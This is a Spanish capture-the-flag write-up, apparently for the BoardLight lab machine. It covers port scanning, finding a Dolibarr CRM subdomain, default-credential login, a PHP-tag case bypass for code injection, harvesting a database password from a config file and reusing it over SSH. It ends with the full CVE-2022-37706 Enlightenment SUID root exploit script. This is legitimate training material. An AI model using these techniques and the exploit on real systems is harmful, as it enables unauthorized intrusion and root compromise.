Parece una web de servicios de ciberseguridad. Nos encontramos un formulario de contacto pero que tampoco envía nada ni encontramos nada relevante en la petición que podamos explotar:
Escaneo de puertos
sudonmap-v-sV-sCV-T510.10.11.11
PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.2p1Ubuntu4ubuntu0.11 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|307206:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)|25659:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)|_256ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)80/tcpopenhttpApachehttpd2.4.41 ((Ubuntu))|_http-title:Sitedoesn't have a title (text/html; charset=UTF-8).|_http-server-header: Apache/2.4.41 (Ubuntu)| http-methods: |_ Supported Methods: GET HEAD POST OPTIONSService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos.
Fuzzing
Haciendo fuzzing con dirsearch o gobuster no encontramos nada relevante.
Enumeración de Vhosts
En este momento puede parecer que no podemos hacer nada, pero vamos a usar ffuf para enumerar subdominios dentro de este host:
Observamos que hay un subdominio crm con un tamaño de respuesta diferente al resto, por lo que seguramente sea válido. Vamos a añadirlo a /etc/hosts y a ver su contenido:
Llegamos a un login del ERP/CRM Dolibarr y encontramos una versión, lo que nos permitiría buscar exploits específicos.
Buscando en Google credenciales por defecto, encontramos que podemos acceder con el usuario admin y contraseña admin:
Funciono! Conseguimos acceder al Dashboard.
Búsqueda de exploits
Haciendo un poco de research nos encontramos este POC en Github que nos podría servir para explotar manualmente un reverse shell:
Vamos a seguir este POc en la parte de explotación.
Explotación
Una vez logueados como admin:admin, vamos a ir al apartado Websites > Crear nuevo
Una vez creado un website, vamos a crear una página de test:
Una vez creada la página tenemos que:
Editar el HTML para añadir código en php
Previsualizar la página
La web usa algún tipo de validación que no permite introducir código PHP. Vamos a hacer un simple bypass de esto poniendo la H de php en mayúsculas:
<?pHp echo2+2;?>
Vemos que funciona y se pinta 2+2 en la página. Una vez que vemos que funciona vamos a crear una reverse shell en PHP y abrir un listener con Netcat:
Abrimos la página y tenemos una shell! Somos el usuario www-data y vemos que hay un usuario larissa
Enumeración y Credential Hunting
Buscamos archivos de configuración:
www-data@boardlight:/$ find / -type f -name "conf*.php" -exec ls -l {} \; 2>/dev/null
find / -type f -name "conf*.php" -exec ls -l {} \; 2>/dev/null
-rw-r--r-- 1 www-data www-data 2326 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/stripe/config.php
-rw-r--r-- 1 www-data www-data 9173 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/core/filemanagerdol/connectors/php/config.inc.php
-rw-r--r-- 1 www-data www-data 45084 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/core/class/conf.class.php
-rw-r--r-- 1 www-data www-data 1736 May 17 00:18 /var/www/html/crm.board.htb/htdocs/conf/conf.php
-rw-r--r-- 1 www-data www-data 28120 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/conferenceorboothattendee_card.php
-rw-r--r-- 1 www-data www-data 9665 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/conferenceorboothattendee_note.php
-rw-r--r-- 1 www-data www-data 19981 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/conferenceorbooth_contact.php
-rw-r--r-- 1 www-data www-data 27265 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/conferenceorbooth_card.php
-rw-r--r-- 1 www-data www-data 45722 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/conferenceorbooth_list.php
-rw-r--r-- 1 www-data www-data 30557 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/class/conferenceorbooth.class.php
-rw-r--r-- 1 www-data www-data 42124 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/class/conferenceorboothattendee.class.php
-rw-r--r-- 1 www-data www-data 18051 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/conferenceorbooth_document.php
-rw-r--r-- 1 www-data www-data 43314 Mar 4 2023 /var/www/html/crm.board.htb/htdocs/eventorganization/conferenceorboothattendee_list.php
Encontramos uno que contiene credenciales de la base de datos:
www-data@boardlight:/$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';
Conexión a la base de datos
www-data@boardlight:/$ mysql -u dolibarrowner -p -h localhost dolibarr
mysql -u dolibarrowner -p -h localhost dolibarr
Enter password: serverfun2$2023!!
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 568
Server version: 8.0.36-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2024, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
Podríamos probar a crackearlos, pero antes vamos a probar las credenciales que descubrimos antes.
User flag
Vamos a probar a conectarnos por SSH como el usuario larissa (que como ya vimos es el único usuario del sistema) y la contraseña que encontramos antes:
Encontramos uno que nos llama la atención: enlightenment. Si buscamos en Google enlightenment privilege escalation encontramos un script que nos puede servir:
Vamos a editar un poco este exploit para elevar nuestros privilegios rápidamente:
exploit.sh
#!/bin/bashecho"CVE-2022-37706"echo"[*] Trying to find the vulnerable SUID file..."echo"[*] This may take few seconds..."file=$(find/-nameenlightenment_sys-perm-40002>/dev/null|head-1)if [[ -z ${file} ]]thenecho"[-] Couldn't find the vulnerable SUID file..."echo"[*] Enlightenment should be installed on your system."exit1fiecho"[+] Vulnerable SUID binary found!"echo"[+] Trying to pop a root shell!"mkdir-p/tmp/netmkdir-p"/dev/../tmp/;/tmp/exploit"echo"/bin/sh">/tmp/exploitchmoda+x/tmp/exploitecho"[+] Enjoy the root shell :)"${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
El script funciona y obtenemos una shell de root, obteniendo la Root Flag sin problema 😎